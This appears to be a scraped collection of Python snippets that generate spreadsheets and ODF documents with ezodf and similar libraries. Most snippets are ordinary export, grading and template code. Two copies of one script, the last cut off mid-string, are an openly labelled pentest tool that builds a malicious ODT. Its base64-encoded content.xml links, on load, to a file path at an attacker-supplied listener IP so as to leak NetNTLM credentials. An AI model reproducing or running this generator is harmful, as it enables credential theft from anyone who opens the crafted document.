import xlwt spreadsheet = xlwt.Workbook() sheet = spreadsheet.add_sheet(sheetTitle) font = xlwt.Font() font.bold = True style = xlwt.XFStyle() style.font = font # Add Data if title: for i, ttl in enumerate(header): sheet.write(0, i, ttl, style) for j, row in enumerate(matrix): for i, data in enumerate(row): sheet.write(j+1, i, data) spreadsheet.save(fname) elif format == "xlsx": import openpyxl from openpyxl.styles import Style, Font spreadsheet = openpyxl.Workbook() sheet = spreadsheet.active sheet.title = sheetTitle font1 = Font() font1.size = 9 font1.bold = True font2 = Font() font2.size = 9 # Add Data if title: for i, ttl in enumerate(header): sheet["%s%i"%(spreadsheetColumn(i), 1)] = ttl sheet["%s%i"%(spreadsheetColumn(i), 1)].style.font= font1 for j, row in enumerate(matrix): for i, data in enumerate(row): sheet["%s%i"%(spreadsheetColumn(i), j+2)] = data sheet["%s%i"%(spreadsheetColumn(i), j+2)].style.font = font2 spreadsheet.save(filename=fname) else: raise ValueError(QApplication.translate( "pychemqt", "Unsopported format") + " " + format)
def exportTable(matrix, fname, format, title=None): """Save data to a file Inputs matrix: array with data to save fname: name of file to save format: name of format to save csv | ods | xls | xlsx title: column title array, optional """ sheetTitle = unicode(QApplication.translate("pychemqt", "Table")) if fname.split(".")[-1] != format: fname += ".%s" % format # Format title if title: header = [] for ttl in title: line = unicode(ttl).split(os.linesep) if line[-1] != "[-]": line[-1] = "[" + line[-1] + "]" header.append(" ".join(line)) c_newline = maketrans(os.linesep, " ") if format == "csv": import csv with open(fname, "w") as archivo: writer = csv.writer(archivo, delimiter='\t', quotechar='"', quoting=csv.QUOTE_NONE) # Add Data if title: writer.writerow([ttl.translate(c_newline) for ttl in header]) c_float = maketrans(".", ",") for row in matrix: writer.writerow([str(data).translate(c_float) for data in row]) elif format == "ods": import ezodf spreadsheet = ezodf.newdoc("ods", fname) sheets = spreadsheet.sheets sheet = ezodf.Table(sheetTitle) sheets += sheet sheet.reset(size=(len(matrix) + 1, len(matrix[0]))) # Add Data if title: for i, ttl in enumerate(header): sheet["%s%i" % (spreadsheetColumn(i), 1)].set_value(ttl) for j, row in enumerate(matrix): for i, data in enumerate(row): sheet["%s%i" % (spreadsheetColumn(i), j + 2)].set_value(data) spreadsheet.save() elif format == "xls": import xlwt spreadsheet = xlwt.Workbook() sheet = spreadsheet.add_sheet(sheetTitle) font = xlwt.Font() font.bold = True style = xlwt.XFStyle() style.font = font # Add Data if title: for i, ttl in enumerate(header): sheet.write(0, i, ttl, style) for j, row in enumerate(matrix): for i, data in enumerate(row): sheet.write(j + 1, i, data) spreadsheet.save(fname) elif format == "xlsx": import openpyxl from openpyxl.styles import Style, Font spreadsheet = openpyxl.Workbook() sheet = spreadsheet.active sheet.title = sheetTitle font1 = Font() font1.size = 9 font1.bold = True font2 = Font() font2.size = 9 # Add Data if title: for i, ttl in enumerate(header): sheet["%s%i" % (spreadsheetColumn(i), 1)] = ttl sheet["%s%i" % (spreadsheetColumn(i), 1)].style.font = font1 for j, row in enumerate(matrix): for i, data in enumerate(row): sheet["%s%i" % (spreadsheetColumn(i), j + 2)] = data sheet["%s%i" % (spreadsheetColumn(i), j + 2)].style.font = font2 spreadsheet.save(filename=fname) else: raise ValueError( QApplication.translate("pychemqt", "Unsopported format") + " " + format)
def save(self, path): doc = ezodf.newdoc(doctype="ods", filename=path) doc.sheets.append(self.get_ods_sheet()) doc.save() return doc
print """ ____ __ ____ ____ ______ / __ )____ _____/ / / __ \/ __ \/ ____/ / __ / __ `/ __ /_____/ / / / / / / /_ / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/ /_____/\__,_/\__,_/ \____/_____/_/ """ print "Create a malicious ODF document help leak NetNTLM Creds" print "\nBy Richard Davy " print "@rd_pentest" print "www.secureyourit.co.uk\n" #Create a blank ODT file namef = "temp.odt" odt = newdoc(doctype='odt', filename=namef) odt.save() #Create our modified content.xml file contentxml1 = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9ImZyMSIgc3R5bGU6ZmFtaWx5PSJncmFwaGljIiBzdHlsZTpwYXJlbnQtc3R5bGUtbmFtZT0iT0xFIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIHN0eWxlOmhvcml6b250YWwtcG9zPSJjZW50ZXIiIHN0eWxlOmhvcml6b250YWwtcmVsPSJwYXJhZ3JhcGgiIGRyYXc6b2xlLWRyYXctYXNwZWN0PSIxIi8+PC9zdHlsZTpzdHlsZT48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6Ym9keT48b2ZmaWNlOnRleHQ+PHRleHQ6c2VxdWVuY2UtZGVjbHM+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJJbGx1c3RyYXRpb24iLz48dGV4dDpzZXF1ZW5jZS1kZWNsIHRleHQ6ZGlzcGxheS1vdXRsaW5lLWxldmVsPSIwIiB0ZXh0Om5hbWU9IlRhYmxlIi8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJUZXh0Ii8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJEcmF3aW5nIi8+PC90ZXh0OnNlcXVlbmNlLWRlY2xzPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCIvPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCI+PGRyYXc6ZnJhbWUgZHJhdzpzdHlsZS1uYW1lPSJmcjEiIGRyYXc6bmFtZT0iT2JqZWN0MSIgdGV4dDphbmNob3ItdHlwZT0icGFyYWdyYXBoIiBzdmc6d2lkdGg9IjE0LjEwMWNtIiBzdmc6aGVpZ2h0PSI5Ljk5OWNtIiBkcmF3OnotaW5kZXg9IjAiPjxkcmF3Om9iamVjdCB4bGluazpocmVmPSJmaWxlOi8v" contentxml2 = raw_input("\nPlease enter IP of listener: ") contentxml3 = "L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg==" fileout = base64.b64decode(contentxml1) + contentxml2 + base64.b64decode( contentxml3) text_file = open("content.xml", "w") text_file.write(fileout) text_file.close() #Create a copy of the blank odt file without the content.xml file in (odt files are basically a zip)
for data, dataStart, dataEnd in grade.scanString(content): name = unicode(data["name"].strip(), "utf-8") mec = data["mec"] if not rmat[mec]: rmat[mec] = [name, mec] names.append((name, mec)) question_number_list.append(data["Q#"]) weight.append(data["points"]) if "mangrade" in data: rmat[mec].append(data["mangrade"].replace('.',',')) else: rmat[mec].append(data["autgrade"].replace('.',',')) points.extend(list(set(weight))) doc = newdoc(doctype='ods', filename='grades_bioinformatics_{}.ods'.format(now)) doc.sheets.append(Sheet(name="grades", size=(1, 20))) sheet = doc.sheets['grades'] def write_row(sheet, row): for i,v in enumerate(row): sheet[(sheet.nrows()-1, i)].set_value(v) sheet.append_rows() headers = (['name','mec']+ ["Q{}".format(no) for no in sorted(set(question_number_list))]+ ['grade(0-20)']) write_row(sheet, headers)
#!/usr/bin/env python #coding:utf-8 # Purpose: empty spreadsheet # Created: 26.01.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf ods = ezodf.newdoc('ods', "empty_spreadsheet.ods") for sheetname in ['SHEET1', 'SHEET2', 'SHEET3']: ods.sheets += ezodf.Sheet(name=sheetname, size=(20, 10)) ods.save()
#!/usr/bin/env python #coding:utf-8 # Purpose: swap row/columns of a table # Created: 04.10.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf ROWS, COLS = 20, 10 # create a new spreadsheet document doc = ezodf.newdoc(doctype="ods", filename="my_spreadsheet.ods") # create a new table table = ezodf.Table(name="Table", size=(ROWS, COLS)) # add table to document doc.sheets += table # set table values for row in range(ROWS): for col in range(COLS): content = "%s%s" % (chr(65+col), row+1) cell = table[row, col] cell.set_value(content) # create the symmetric table symtable = ezodf.Table(name="Symmetry", size=(COLS, ROWS)) doc.sheets += symtable
#!/usr/bin/env python # coding:utf-8 # Purpose: empty spreadsheet # Created: 26.01.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf ods = ezodf.newdoc("ods", "empty_spreadsheet.ods") for sheetname in ["SHEET1", "SHEET2", "SHEET3"]: ods.sheets += ezodf.Sheet(name=sheetname, size=(20, 10)) ods.save()
n_PARAM=len(PARAM) n_CONT=len(CONT) n_EST=len(EST) #Para contenedor-estacion Plantilla_CE='templates/R115.ods' #Para parametros-estaciones Plantilla_PE='templates/Param_Est.ods' Salida_CE='salida/'+OUT_FOLDER+'/R115_'+Codigo_Proyecto+'_No_SSE_'+No_solicitud+'.ods' Salida_PE='salida/'+OUT_FOLDER+'/Matriz_PE_'+Codigo_Proyecto+'_No_SSE_'+No_solicitud+'.ods' #Generar R115 de contenedores estaciones #Opcion EZODF: Se guarda la plantilla con el nombre del doc Matriz_CE = newdoc(doctype="ods",filename=Salida_CE,template=Plantilla_CE) #Cargar la hoja template en el python Tabla_EC = Matriz_CE.sheets[0] #En C6 es el código del proyecto Tabla_EC['B6'].set_value(Codigo_Proyecto) #Crear dos tablas, una para estacion parametros, otra para contenedor. #Fila de llenado row_matrix=11 n_cols=Tabla_EC.ncols() n_rows=Tabla_EC.nrows() count_cols=n_EST-n_cols+1 count_rows=n_rows+n_CONT-row_matrix Tabla_EC.append_columns(count=count_cols)
# veredictos_a_procesar = lee_pendientes('../input/lista_veredictos.csv') # anho = str(datetime.datetime.now().year) file_tramite = '../historial/' + 'tramites_por_enviar_' + anho + '.csv' if not (os.path.isfile(file_tramite)): f = open(file_tramite, "w+") f.write('|'.join(veredictos_a_procesar[0]) + '\n') f.close() for i in range(1, len(veredictos_a_procesar)): namef = '../temp/' + veredictos_a_procesar[i][0].zfill( 3) + '_CI_' + veredictos_a_procesar[i][3] + '_' + unidecode.unidecode( veredictos_a_procesar[i][1]).replace(' ', '_') + '.odt' odt = newdoc(doctype='odt', filename=namef, template='../origen/plantilla_veredicto.odt') odt.save() #print(namef) nombre_especifico = diccionario(nombre_generico, veredictos_a_procesar[i]) a = zipfile.ZipFile(namef) content = a.read('content.xml') content = str(content.decode(encoding='utf8')) for j in nombre_generico: content = str.replace(content, j, nombre_especifico[j]) content = content.encode( encoding='utf8' ) #https://www.journaldev.com/23617/python-string-encode-decode updateZip(namef, 'content.xml', content) f = open(file_tramite, "a+") f.write('|'.join(veredictos_a_procesar[i]) + '\n')
#!/usr/bin/env python #coding:utf-8 # Purpose: swap row/columns of a table # Created: 04.10.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf ROWS, COLS = 20, 10 # create a new spreadsheet document doc = ezodf.newdoc(doctype="ods", filename="my_spreadsheet.ods") # create a new table table = ezodf.Table(name="Table", size=(ROWS, COLS)) # add table to document doc.sheets += table # set table values for row in range(ROWS): for col in range(COLS): content = "%s%s" % (chr(65 + col), row + 1) cell = table[row, col] cell.set_value(content) # create the symmetric table symtable = ezodf.Table(name="Symmetry", size=(COLS, ROWS)) doc.sheets += symtable
def generate_spreadsheet(correction_folder): now = time.strftime("%Y-%m-%d %H_%M_%S", time.localtime()) files = sorted(f for f in os.listdir(correction_folder) if re.match("^question\d{3}\.txt$",f)) rmat = collections.defaultdict(dict) grade =(Literal("question..........:").suppress() + Word(nums+"."+",").setResultsName("Q#") + Literal("points............:").suppress() + Word(nums+"."+",").setResultsName("points") + Literal("name..............:").suppress() + restOfLine.setResultsName("name") + Literal("mec...............:").suppress() + Word(alphanums).setResultsName("mec") + Literal("automatic grade(%):").suppress() + Word(nums+"."+",").setResultsName("autgrade") + Literal("manual grade(%)...:").suppress() + Optional(Word(nums+"."+",")).setResultsName("mangrade")) question_number_list = [] name_list = [] points = [] names=[] for file_ in files: weight=[] print("processing: ", file_) content = open(os.path.join(correction_folder, file_),"r").read() for data, dataStart, dataEnd in grade.scanString(content): name = str(data["name"].strip()) try: mec = int(data["mec"]) except ValueError: mec = str(data["mec"]) if not rmat[mec]: rmat[mec] = [name, mec] names.append((name, mec)) question_number_list.append(data["Q#"]) weight.append(data["points"]) if "mangrade" in data: rmat[mec].append(float( data["mangrade"])) else: rmat[mec].append(float( data["autgrade"])) points.extend(list(set(weight))) doc = newdoc(doctype='ods', filename='grades_bioinformatics_{}.ods'.format(now)) doc.sheets.append(Sheet(name="grades", size=(1, 20))) sheet = doc.sheets['grades'] def write_row(sheet, row): for i,v in enumerate(row): sheet[(sheet.nrows()-1, i)].set_value(v) sheet.append_rows() headers = (['name','mec']+ ["Q{}".format(no) for no in sorted(set(question_number_list))]+ ['grade(0-20)']) write_row(sheet, headers) write_row(sheet, ["",""] + points) from string import ascii_uppercase as letters formula="=20*(" #print(points) for c in range(len(points)): formula += "${letter}$2*{letter}3+".format(letter = letters[c+2]) formula = formula.rstrip("+") formula +=")/{} \n".format(sum([100*int(x) for x in points])) write_row(sheet, ["Max Maximus", 99999] + [100]*len(points) + [formula]+['=IF({}3<9.5,"R","")'.format(letters[c+3])]) for mec in [m for n, m in sorted(names)]: write_row(sheet, rmat[mec]) doc.save() input("press return")
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import ezodf from ezodf.text import Paragraph, Heading, Span, ListItem, List, CN from svd_util import optz optz.text( 'template') optz,args = optz.get() inp = args[0] d = ezodf.opendoc( inp) odt = ezodf.newdoc( doctype='odt', filename= inp.replace('.odt','.flat.odt'), template= optz.template or inp) body = odt.body #pic = body.find( CN("draw:frame")) body.clear() #if pic: body.append( pic) if 0: img = CN('draw:image') fra = CN('draw:frame') tbx = CN("draw:text-box") once = 0 def delimg( a): global once for i in a:
content = open(file, "r").read() for data, dataStart, dataEnd in grade.scanString(content): name = unicode(data["name"].strip(), "utf-8") mec = data["mec"] if not rmat[mec]: rmat[mec] = [name, mec] names.append((name, mec)) question_number_list.append(data["Q#"]) weight.append(data["points"]) if "mangrade" in data: rmat[mec].append(data["mangrade"].replace('.', ',')) else: rmat[mec].append(data["autgrade"].replace('.', ',')) points.extend(list(set(weight))) doc = newdoc(doctype='ods', filename='grades_bioinformatics_{}.ods'.format(now)) doc.sheets.append(Sheet(name="grades", size=(1, 20))) sheet = doc.sheets['grades'] def write_row(sheet, row): for i, v in enumerate(row): sheet[(sheet.nrows() - 1, i)].set_value(v) sheet.append_rows() headers = (['name', 'mec'] + ["Q{}".format(no) for no in sorted(set(question_number_list))] + ['grade(0-20)'])
#!/usr/bin/env python #coding:utf-8 # Purpose: example spreadhet with formula # Created: 06.02.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf ods = ezodf.newdoc('ods') sheet = ezodf.Sheet('SUM Formula') ods.sheets += sheet for col in range(5): for row in range(10): sheet[row,col].set_value(col*10. + row) sheet['F9'].set_value("Summe:") sheet['F10'].formula = 'of:=SUM([.A1:.E10])' sheet['F1'].formula = 'of:=SUM([.A1];[.B1];[.C1];[.D1];[.E1])' ods.saveas('sum_formula.ods')
#!/usr/bin/env python #coding:utf-8 # Purpose: example make_refshett.py # Created: 05.02.2011 # Copyright (C) 2011, Manfred Moitzi # License: MIT license from __future__ import unicode_literals, print_function, division __author__ = "mozman <*****@*****.**>" import ezodf NCOLS = 10 NROWS = 10 ods = ezodf.newdoc('ods', 'refsheet.ods') sheet = ezodf.Sheet('REFS', size=(NROWS, NCOLS)) ods.sheets += sheet for row in range(NROWS): for col in range(NCOLS): content = chr(ord('A') + col) + str(row + 1) sheet[row, col].set_value(content) ods.save()
def export_ods(path): ods = ezodf.newdoc(doctype='ods', filename=path) summary = ezodf.Sheet('summary', size=(100, 100)) ods.sheets += summary for mem_size, results in sorted(memcached_optimum.items()): if not len(results): continue ods.sheets += memcached_results_to_sheet( 'memcached_optimum-%d' % mem_size, results ) for mem_size, results in sorted(memcached_with_fix.items()): if not len(results): continue if mem_size is None: mem_size = 'unrestrained' ods.sheets += memcached_results_to_sheet( 'memcached_with_fix-%s' % str(mem_size), results ) for mem_size, results in sorted(memcached_without_fix.items()): if not len(results): continue if mem_size is None: mem_size = 'unrestrained' ods.sheets += memcached_results_to_sheet( 'memcached_without_fix-%s' % str(mem_size), results ) for mem_size, results in sorted(apache_optimum.items()): if not len(results): continue ods.sheets += apache_results_to_sheet( 'apache_optimum-%d' % mem_size, results ) for mem_size, results in sorted(apache_with_fix.items()): if not len(results): continue ods.sheets += apache_results_to_sheet( 'apache_with_fix-%d' % mem_size, results ) for mem_size, results in sorted(apache_without_fix.items()): if mem_size is None: mem_size = 2048 if not len(results): continue ods.sheets += apache_results_to_sheet( 'apache_without_fix-%d' % mem_size, results ) for mem_size, results in sorted(node_optimum.items()): if not len(results): continue ods.sheets += apache_results_to_sheet( 'node_optimum-%d' % mem_size, results ) for mem_size, results in sorted(node_with_fix.items()): if not len(results): continue ods.sheets += apache_results_to_sheet( 'node_with_fix-%d' % mem_size, results ) for mem_size, results in sorted(node_without_fix.items()): if mem_size is None: mem_size = 2048 if not len(results): continue ods.sheets += apache_results_to_sheet( 'node_without_fix-%d' % mem_size, results ) for mem_size, results in sorted(postgresql_optimum.items()): if not len(results): continue ods.sheets += postgresql_results_to_sheet( 'postgresql_optimum-%d' % mem_size, results ) for mem_size, results in sorted(postgresql_with_fix.items()): if not len(results): continue ods.sheets += postgresql_results_to_sheet( 'postgresql_with_fix-%d' % mem_size, results ) for mem_size, results in sorted(postgresql_without_fix.items()): if not len(results): continue ods.sheets += postgresql_results_to_sheet( 'postgresql_without_fix-%d' % mem_size, results ) fill_summary(ods, summary) ods.save()
print """ ____ __ ____ ____ ______ / __ )____ _____/ / / __ \/ __ \/ ____/ / __ / __ `/ __ /_____/ / / / / / / /_ / /_/ / /_/ / /_/ /_____/ /_/ / /_/ / __/ /_____/\__,_/\__,_/ \____/_____/_/ """ print "Create a malicious ODF document help leak NetNTLM Creds" print "\nBy Richard Davy " print "@rd_pentest" print "www.secureyourit.co.uk\n" #Create a blank ODT file namef = "temp.odt" odt = newdoc(doctype='odt', filename=namef) odt.save() #Create our modified content.xml file contentxml1="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4NCjxvZmZpY2U6ZG9jdW1lbnQtY29udGVudCB4bWxuczpvZmZpY2U9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2ZmaWNlOjEuMCIgeG1sbnM6c3R5bGU9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6c3R5bGU6MS4wIiB4bWxuczp0ZXh0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnRleHQ6MS4wIiB4bWxuczp0YWJsZT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczp0YWJsZToxLjAiIHhtbG5zOmRyYXc9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6ZHJhd2luZzoxLjAiIHhtbG5zOmZvPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnhzbC1mby1jb21wYXRpYmxlOjEuMCIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6bWV0YT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczptZXRhOjEuMCIgeG1sbnM6bnVtYmVyPSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmRhdGFzdHlsZToxLjAiIHhtbG5zOnN2Zz0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpzdmctY29tcGF0aWJsZToxLjAiIHhtbG5zOmNoYXJ0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOmNoYXJ0OjEuMCIgeG1sbnM6ZHIzZD0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpkcjNkOjEuMCIgeG1sbnM6bWF0aD0iaHR0cDovL3d3dy53My5vcmcvMTk5OC9NYXRoL01hdGhNTCIgeG1sbnM6Zm9ybT0idXJuOm9hc2lzOm5hbWVzOnRjOm9wZW5kb2N1bWVudDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6c2NyaXB0PSJ1cm46b2FzaXM6bmFtZXM6dGM6b3BlbmRvY3VtZW50OnhtbG5zOnNjcmlwdDoxLjAiIHhtbG5zOm9vbz0iaHR0cDovL29wZW5vZmZpY2Uub3JnLzIwMDQvb2ZmaWNlIiB4bWxuczpvb293PSJodHRwOi8vb3Blbm9mZml